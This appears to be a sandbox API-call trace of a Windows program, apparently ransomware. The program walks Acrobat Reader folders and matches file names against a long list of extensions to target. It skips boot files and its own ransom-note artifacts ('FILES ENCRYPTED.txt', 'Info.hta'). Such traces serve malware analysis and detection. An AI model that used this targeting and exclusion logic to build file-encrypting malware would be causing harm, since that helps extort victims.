	[0171.102] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0171.102] lstrlenW (lpString=".asm") returned 4
	[0171.102] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".asmx") returned 5
	[0171.102] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0171.102] lstrlenW (lpString=".asp") returned 4
	[0171.102] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".aspx") returned 5
	[0171.102] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0171.102] lstrlenW (lpString=".asr") returned 4
	[0171.103] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".asx") returned 4
	[0171.103] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".avi") returned 4
	[0171.103] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".avs") returned 4
	[0171.103] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".backup") returned 7
	[0171.103] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0171.103] lstrlenW (lpString=".bak") returned 4
	[0171.103] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".bay") returned 4
	[0171.103] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".bd") returned 3
	[0171.103] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0171.103] lstrlenW (lpString=".bin") returned 4
	[0171.103] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".bmp") returned 4
	[0171.103] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".bz2") returned 4
	[0171.103] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".c") returned 2
	[0171.103] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0171.103] lstrlenW (lpString=".cdr") returned 4
	[0171.103] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".cer") returned 4
	[0171.103] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".cf") returned 3
	[0171.103] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0171.103] lstrlenW (lpString=".cfc") returned 4
	[0171.103] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".cfm") returned 4
	[0171.103] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0171.103] lstrlenW (lpString=".cfml") returned 5
	[0171.103] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0171.103] lstrlenW (lpString=".cfu") returned 4
	[0171.103] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".chm") returned 4
	[0171.104] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".cin") returned 4
	[0171.104] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".class") returned 6
	[0171.104] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0171.104] lstrlenW (lpString=".clx") returned 4
	[0171.104] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".config") returned 7
	[0171.104] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0171.104] lstrlenW (lpString=".cpp") returned 4
	[0171.104] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".cr2") returned 4
	[0171.104] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".crt") returned 4
	[0171.104] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".crw") returned 4
	[0171.104] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".cs") returned 3
	[0171.104] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0171.104] lstrlenW (lpString=".css") returned 4
	[0171.104] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".csv") returned 4
	[0171.104] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".cub") returned 4
	[0171.104] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".dae") returned 4
	[0171.104] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".dat") returned 4
	[0171.104] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0171.104] lstrlenW (lpString=".db") returned 3
	[0171.104] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0171.104] lstrlenW (lpString=".dbf") returned 4
	[0171.104] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dbx") returned 4
	[0171.105] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dc3") returned 4
	[0171.105] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dcm") returned 4
	[0171.105] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dcr") returned 4
	[0171.105] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".der") returned 4
	[0171.105] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dib") returned 4
	[0171.105] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dic") returned 4
	[0171.105] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dif") returned 4
	[0171.105] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".divx") returned 5
	[0171.105] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0171.105] lstrlenW (lpString=".djvu") returned 5
	[0171.105] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0171.105] lstrlenW (lpString=".dng") returned 4
	[0171.105] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".doc") returned 4
	[0171.105] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".docm") returned 5
	[0171.105] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0171.105] lstrlenW (lpString=".docx") returned 5
	[0171.105] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0171.105] lstrlenW (lpString=".dot") returned 4
	[0171.105] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0171.105] lstrlenW (lpString=".dotm") returned 5
	[0171.105] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0171.105] lstrlenW (lpString=".dotx") returned 5
	[0171.105] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0171.105] lstrlenW (lpString=".dpx") returned 4
	[0171.105] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".dqy") returned 4
	[0171.106] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".dsn") returned 4
	[0171.106] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".dt") returned 3
	[0171.106] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0171.106] lstrlenW (lpString=".dtd") returned 4
	[0171.106] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".dwg") returned 4
	[0171.106] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".dwt") returned 4
	[0171.106] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".dx") returned 3
	[0171.106] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0171.106] lstrlenW (lpString=".dxf") returned 4
	[0171.106] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".edml") returned 5
	[0171.106] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0171.106] lstrlenW (lpString=".efd") returned 4
	[0171.106] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".elf") returned 4
	[0171.106] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".emf") returned 4
	[0171.106] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".emz") returned 4
	[0171.106] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".epf") returned 4
	[0171.106] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".eps") returned 4
	[0171.106] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0171.106] lstrlenW (lpString=".epsf") returned 5
	[0171.106] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0171.106] lstrlenW (lpString=".epsp") returned 5
	[0171.106] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0171.106] lstrlenW (lpString=".erf") returned 4
	[0171.106] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".exr") returned 4
	[0171.107] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".f4v") returned 4
	[0171.107] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".fido") returned 5
	[0171.107] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0171.107] lstrlenW (lpString=".flm") returned 4
	[0171.107] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".flv") returned 4
	[0171.107] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".frm") returned 4
	[0171.107] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".fxg") returned 4
	[0171.107] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".geo") returned 4
	[0171.107] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".gif") returned 4
	[0171.107] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".grs") returned 4
	[0171.107] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".gz") returned 3
	[0171.107] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0171.107] lstrlenW (lpString=".h") returned 2
	[0171.107] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0171.107] lstrlenW (lpString=".hdr") returned 4
	[0171.107] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".hpp") returned 4
	[0171.107] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".hta") returned 4
	[0171.107] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".htc") returned 4
	[0171.107] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".htm") returned 4
	[0171.107] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0171.107] lstrlenW (lpString=".html") returned 5
	[0171.107] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0171.108] lstrlenW (lpString=".icb") returned 4
	[0171.108] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".ics") returned 4
	[0171.108] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".iff") returned 4
	[0171.108] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".inc") returned 4
	[0171.108] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".indd") returned 5
	[0171.108] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0171.108] lstrlenW (lpString=".ini") returned 4
	[0171.108] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".iqy") returned 4
	[0171.108] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".j2c") returned 4
	[0171.108] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".j2k") returned 4
	[0171.108] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".java") returned 5
	[0171.108] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0171.108] lstrlenW (lpString=".jp2") returned 4
	[0171.108] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".jpc") returned 4
	[0171.108] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".jpe") returned 4
	[0171.108] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".jpeg") returned 5
	[0171.108] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0171.108] lstrlenW (lpString=".jpf") returned 4
	[0171.108] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".jpg") returned 4
	[0171.108] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".jpx") returned 4
	[0171.108] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0171.108] lstrlenW (lpString=".js") returned 3
	[0171.108] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0171.109] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.109] lstrlenW (lpString=".GTF") returned 4
	[0171.109] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0171.109] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.109] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0171.109] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0171.109] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0171.109] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0171.109] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0171.109] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0171.109] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0171.109] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0171.109] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\ui-strings.js") returned 120
	[0171.109] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0171.109] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0171.109] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.109] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.109] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 106
	[0171.109] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 1
	[0171.109] lstrlenW (lpString="fi-fi") returned 5
	[0171.109] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1
	[0171.109] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4210458
	[0171.109] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 106
	[0171.109] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\*", lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0171.111] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.111] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.111] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.111] lstrlenW (lpString=".1cd") returned 4
	[0171.111] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0171.111] lstrlenW (lpString=".3ds") returned 4
	[0171.111] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0171.111] lstrlenW (lpString=".3fr") returned 4
	[0171.111] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0171.111] lstrlenW (lpString=".3g2") returned 4
	[0171.111] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0171.111] lstrlenW (lpString=".3gp") returned 4
	[0171.112] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".7z") returned 3
	[0171.112] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0171.112] lstrlenW (lpString=".accda") returned 6
	[0171.112] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0171.112] lstrlenW (lpString=".accdb") returned 6
	[0171.112] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0171.112] lstrlenW (lpString=".accdc") returned 6
	[0171.112] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0171.112] lstrlenW (lpString=".accde") returned 6
	[0171.112] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0171.112] lstrlenW (lpString=".accdt") returned 6
	[0171.112] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0171.112] lstrlenW (lpString=".accdw") returned 6
	[0171.112] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0171.112] lstrlenW (lpString=".adb") returned 4
	[0171.112] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".adp") returned 4
	[0171.112] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".ai") returned 3
	[0171.112] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0171.112] lstrlenW (lpString=".ai3") returned 4
	[0171.112] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".ai4") returned 4
	[0171.112] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".ai5") returned 4
	[0171.112] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".ai6") returned 4
	[0171.112] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".ai7") returned 4
	[0171.112] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".ai8") returned 4
	[0171.112] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0171.112] lstrlenW (lpString=".anim") returned 5
	[0171.112] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0171.112] lstrlenW (lpString=".arw") returned 4
	[0171.112] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".as") returned 3
	[0171.113] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0171.113] lstrlenW (lpString=".asa") returned 4
	[0171.113] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".asc") returned 4
	[0171.113] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".ascx") returned 5
	[0171.113] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0171.113] lstrlenW (lpString=".asm") returned 4
	[0171.113] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".asmx") returned 5
	[0171.113] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0171.113] lstrlenW (lpString=".asp") returned 4
	[0171.113] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".aspx") returned 5
	[0171.113] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0171.113] lstrlenW (lpString=".asr") returned 4
	[0171.113] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".asx") returned 4
	[0171.113] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".avi") returned 4
	[0171.113] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".avs") returned 4
	[0171.113] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".backup") returned 7
	[0171.113] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0171.113] lstrlenW (lpString=".bak") returned 4
	[0171.113] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".bay") returned 4
	[0171.113] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".bd") returned 3
	[0171.113] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0171.113] lstrlenW (lpString=".bin") returned 4
	[0171.113] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".bmp") returned 4
	[0171.113] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0171.113] lstrlenW (lpString=".bz2") returned 4
	[0171.113] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".c") returned 2
	[0171.114] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0171.114] lstrlenW (lpString=".cdr") returned 4
	[0171.114] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".cer") returned 4
	[0171.114] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".cf") returned 3
	[0171.114] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0171.114] lstrlenW (lpString=".cfc") returned 4
	[0171.114] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".cfm") returned 4
	[0171.114] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".cfml") returned 5
	[0171.114] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0171.114] lstrlenW (lpString=".cfu") returned 4
	[0171.114] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".chm") returned 4
	[0171.114] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".cin") returned 4
	[0171.114] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".class") returned 6
	[0171.114] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0171.114] lstrlenW (lpString=".clx") returned 4
	[0171.114] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".config") returned 7
	[0171.114] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0171.114] lstrlenW (lpString=".cpp") returned 4
	[0171.114] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".cr2") returned 4
	[0171.114] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".crt") returned 4
	[0171.114] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".crw") returned 4
	[0171.114] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0171.114] lstrlenW (lpString=".cs") returned 3
	[0171.114] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0171.115] lstrlenW (lpString=".css") returned 4
	[0171.115] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".csv") returned 4
	[0171.115] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".cub") returned 4
	[0171.115] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dae") returned 4
	[0171.115] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dat") returned 4
	[0171.115] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".db") returned 3
	[0171.115] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0171.115] lstrlenW (lpString=".dbf") returned 4
	[0171.115] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dbx") returned 4
	[0171.115] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0171.115] lstrlenW (lpString=".dc3") returned 4
	[0171.115] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
